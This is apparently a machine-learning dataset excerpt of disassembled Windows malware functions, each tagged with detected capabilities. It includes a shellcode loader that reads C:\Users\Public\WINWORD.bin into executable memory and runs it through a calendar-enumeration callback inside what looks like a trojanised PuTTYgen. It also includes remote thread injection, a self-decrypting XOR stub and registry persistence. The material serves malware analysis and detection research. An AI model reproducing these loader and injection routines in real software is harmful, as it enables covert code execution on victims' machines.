joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424c40
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x48f600]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
push 0x1cbf
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push 4
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 0x54]
push 8
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.00419890
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
call fcn.00427f9e
mov esp, ebp
pop ebp
ret
Function at 0x424fd0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004242f0
call fcn.004216c0
mov eax, dword [ebp + 8]
mov dword [0x491a1c], eax
mov dword [0x491a24], 0
call fcn.00423f80
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
call fcn.00427a60
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:UsersPublicWINWORD.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAlloc
push dword [ebp - 4]
call esi
push 4
push 0x1000
nop
push 0x2965
push 0
nop
call eax
nop
nop
mov edi, eax
call esi
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push ebx
push edi
call eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov byte [edi], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x15
push 0xffffffffffffffff
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call fcn.00419aa0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x425580
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.004064d0
add esp, 8
mov esi, eax
push 0x1010
push str.PuTTYgen_Fatal_Error
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call fcn.00406af0
add esp, 4
push 1
call fcn.00452ce6
int3
Function at 0x425df0
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x490720], 0
jne 0x425f77
push esi
push str.advapi32.dll
mov dword [0x490720], 1
call fcn.00424830
add esp, 4
mov dword [0x490728], eax
test eax, eax
je 0x425f6e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetSecurityInfo
push eax
call esi
mov dword [0x4919d8], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f64
push str.SetSecurityInfo
push eax
call esi
mov dword [0x4919d4], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f51
push str.OpenProcessToken
push eax
call esi
mov dword [0x4919e8], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f3e
push str.GetTokenInformation
push eax
call esi
mov dword [0x4919e4], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f2b
push 0x484324
push eax
call esi
mov dword [0x4919e0], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f18
push 0x484344
push eax
call esi
mov dword [0x4919dc], eax
test eax, eax
je 0x425f6e
mov eax, dword [0x490728]
test eax, eax
je 0x425f05
push str.SetEntriesInAclA
push eax
call esi
mov dword [0x4919d0], eax
test eax, eax
je 0x425f6e
mov eax, 1
mov dword [0x490724], eax
pop esi
ret
xor eax, eax
mov dword [0x4919d0], 0
mov dword [0x490724], eax
pop esi
ret
xor eax, eax
mov dword [0x4919dc], 0
mov dword [0x490724], eax
pop esi
ret
xor eax, eax
mov dword [0x4919e0], 0
mov dword [0x490724], eax
pop esi
ret
xor eax, eax
mov dword [0x4919e4], 0
mov dword [0x490724], eax
pop esi
ret
xor eax, eax
mov dword [0x4919e8], 0
mov dword [0x490724], eax
pop esi
ret
mov dword [0x4919d4], 0
xor eax, eax
mov dword [0x490724], eax
pop esi
ret
mov eax, dword [0x490724]
ret
Function at 0x426930
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov al, byte [esi]
test al, al
je 0x42699f
mov edx, dword [ebp + 0xc]
cmp al, 0x20
je 0x426967
cmp al, 0x5c
je 0x426967
cmp al, 0x2a
je 0x426967
cmp al, 0x3f
je 0x426967
cmp al, 0x25
je 0x426967
lea ecx, [eax - 0x20]
cmp cl, 0x5e
ja 0x426967
cmp al, 0x2e
jne 0x42698a
test edi, edi
jne 0x42698a
mov byte [edx], 0x25
movzx eax, byte [esi]
shr eax, 4
movzx eax, byte [eax + str.0123456789ABCDEFDefault_Settings]
mov byte [edx + 1], al
add edx, 2
movzx eax, byte [esi]
and eax, 0xf
movzx eax, byte [eax + str.0123456789ABCDEFDefault_Settings]
inc esi
mov byte [edx], al
inc edx
mov edi, 1
mov al, byte [esi]
test al, al
jne 0x426943
pop edi
mov byte [edx], al
pop esi
pop ebp
ret
mov eax, dword [ebp + 0xc]
pop edi
pop esi
mov byte [eax], 0
pop ebp
ret

Function at 0x426b40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x48f600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push 1
call fcn.004262a0
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
je 0x426bcb
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x408]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call edi
test eax, eax
je 0x426bc3
nop dword [eax]
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x426bc3
push eax
lea eax, [ebp - 0x404]
push eax
call ebx
add esp, 8
lea eax, [ebp - 0x408]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call edi
test eax, eax
jne 0x426b90
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00427f9e
mov esp, ebp
pop ebp
ret

Function at 0x426d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x426dcd
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x426dcd
cmp dword [ebp + 8], 1
jne 0x426dcd
mov eax, dword [ebp - 4]
push esi
inc eax
push 1
push eax
call fcn.00406b10
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x426dbc
cmp dword [ebp + 8], 1
jne 0x426dbc
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00406af0
add esp, 4
xor eax, eax
pop esi
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x426de0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x48f600]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push 0x105
push eax
push 0
push esi
call edi
test eax, eax
jne 0x426e73
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop word [eax + eax]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x426e4f
push dword [ebp - 0x110]
call fcn.00426de0
add esp, 4
push dword [ebp - 0x110]
call ebx
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x105
lea eax, [ebp - 0x10c]
push eax
push 0
push esi
call edi
test eax, eax
je 0x426e20
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00427f9e
mov esp, ebp
pop ebp
ret
Function at 0x4271f0
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x42723c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x42722f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x42722f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004248f0
push eax
push dword [ebp + 8]
push str.Unable_to_delete__s:__s
call fcn.004255c0
add esp, 0x10
mov eax, dword [ebp + 0x10]
mov dword [eax], 0xffffffff
xor eax, eax
pop ebp
ret
xor eax, eax
mov edx, 0x80
push 0
cmp ecx, 2
cmove eax, edx
push eax
xor eax, eax
cmp ecx, 2
setne al
xor edx, edx
add eax, 2
cmp ecx, 2
push eax
push 0
mov eax, 3
cmove eax, edx
mov edx, 0x40000000
push eax
mov eax, 0x80000000
cmove eax, edx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp + 0x10]
mov edx, eax
xor eax, eax
cmp edx, 0xffffffff
setne al
mov dword [ecx], edx
pop ebp
ret
Function at 0x4275f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
call fcn.004262a0
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
je 0x427620
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x428d5a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x428d99
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x428d99
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x428d99
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x428d99
cmp dword [ecx + 0x74], 0xe
jbe 0x428d99
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x461b8d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00461785

Function at 0x461b98
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0046190f

Function at 0x463f1d
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00463df1

Function at 0x466bba
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00466582

Function at 0x4766d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4766fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4766fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x2fa3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02fa378f
jae 0x2fa370e
xor ecx, ecx
call fcn.02fa378f
jae 0x2fa373d
xor eax, eax
call fcn.02fa378f
jae 0x2fa374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02fa378f
adc al, al
jae 0x2fa372f
jne 0x2fa3779
stosb byte es:[edi], al
jmp 0x2fa3711
call fcn.02fa379b
sub ecx, ebx
jne 0x2fa3756
call fcn.02fa3799
jmp 0x2fa3775
lodsb al, byte [esi]
shr eax, 1
je 0x2fa3783
adc ecx, ecx
jmp 0x2fa3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02fa3799
cmp eax, 0x7d00
jae 0x2fa3772
cmp ah, 5
jae 0x2fa3773
cmp eax, 0x7f
ja 0x2fa3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2fa3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x2fc3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02fc378f
jae 0x2fc370e
xor ecx, ecx
call fcn.02fc378f
jae 0x2fc373d
xor eax, eax
call fcn.02fc378f
jae 0x2fc374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02fc378f
adc al, al
jae 0x2fc372f
jne 0x2fc3779
stosb byte es:[edi], al
jmp 0x2fc3711
call fcn.02fc379b
sub ecx, ebx
jne 0x2fc3756
call fcn.02fc3799
jmp 0x2fc3775
lodsb al, byte [esi]
shr eax, 1
je 0x2fc3783
adc ecx, ecx
jmp 0x2fc3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02fc3799
cmp eax, 0x7d00
jae 0x2fc3772
cmp ah, 5
jae 0x2fc3773
cmp eax, 0x7f
ja 0x2fc3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2fc3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x401d60
Capabilities:
Create shortcut via ishelllink
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
push 0x401310
push 0x401320
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0
push 0
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401daf
cmp dword [ebp - 8], 1
je 0x401daf
or eax, 0xffffffff
jmp 0x401f21
lea eax, [ebp - 0xc]
push eax
push 0x401a24
push 1
push 0
push 0x401a34
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401dd8
or eax, 0xffffffff
jmp 0x401f21
push 0x104
push 0
lea ecx, [ebp - 0x118]
push ecx
call fcn.00402820
add esp, 0xc
movsx edx, byte [ebp + 0x14]
test edx, edx
je 0x401e15
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x401330
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x401e32
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x401374
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x4013a0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 0x50]
call eax
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [eax + 0x2c]
call edx
movsx eax, byte [ebp + 0x14]
test eax, eax
je 0x401e79
push 3
push 0x4013c0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [edx + 0x44]
call ecx
jmp 0x401e8e
push 0
push 0x4013e4
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [eax + 0x44]
call edx
push 7
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 0x3c]
call eax
lea ecx, [ebp - 4]
push ecx
push 0x401a44
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [eax]
call edx
push 0x80
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ecx + 0x18]
call eax
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [eax + 8]
call edx
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402630
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
push 0x3000
mov eax, dword [0x407ac4]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40265f
xor eax, eax
jmp 0x4026f4
push 0x40
push 0x3000
mov edx, dword [0x407574]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402686
xor eax, eax
jmp 0x4026f4
push 0
mov ecx, dword [0x407ac4]
push ecx
mov edx, dword [0x407570]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov edx, dword [0x407574]
push edx
mov eax, dword [0x407ad4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 8], 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4026ef
xor eax, eax
jmp 0x4026f4
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4033a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004031c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4033ce
xor eax, eax
jmp 0x403401
mov edx, 0x403030
sub edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 8], edx
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x4033fc
xor eax, eax
jmp 0x403401
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403410
Capabilities:
Enumerate files on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
mov dword [ebp - 0x34c], 0
push 0xff
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00402820
add esp, 0xc
push 0xfe
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
lea ecx, [ebp + eax - 0x109]
mov dword [ebp - 0x34c], ecx
push 1
push 0x4016fc
mov edx, dword [ebp - 0x34c]
push edx
call fcn.004037c0
add esp, 0xc
test eax, eax
je 0x403498
mov eax, dword [ebp - 0x34c]
sub eax, 1
mov dword [ebp - 0x34c], eax
jmp 0x40346d
mov ecx, dword [ebp - 0x34c]
add ecx, 1
mov dword [ebp - 0x34c], ecx
lea edx, [ebp - 0x348]
push edx
push 0x401700
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0xffffffff
jne 0x4034cd
jmp 0x403565
lea eax, [ebp - 0x31c]
push eax
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x403549
push 0xff
push 0
lea edx, [ebp - 0x208]
push edx
call fcn.00402820
add esp, 0xc
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x401708
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x31c]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x348]
push eax
mov ecx, dword [ebp - 0x350]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4034cd
mov esp, ebp
pop ebp
ret

Function at 0x403570
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
lea eax, [ebp - 0x140]
push eax
push 0x40171c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
jne 0x40359c
jmp 0x4035c1
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40359c
mov esp, ebp
pop ebp
ret
Function at 0x403660
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.00402820
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00403410
call fcn.00403570
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.00402820
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00403410
call fcn.00403570
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00402820
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00403410
call fcn.00403570
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00402820
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00403410
call fcn.00403570
mov esp, ebp
pop ebp
ret

Function at 0x403770
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x401730
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, 1
imul ecx, ecx, 0x19
push ecx
push 0x40175c
push 1
push 0
push 0x401778
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret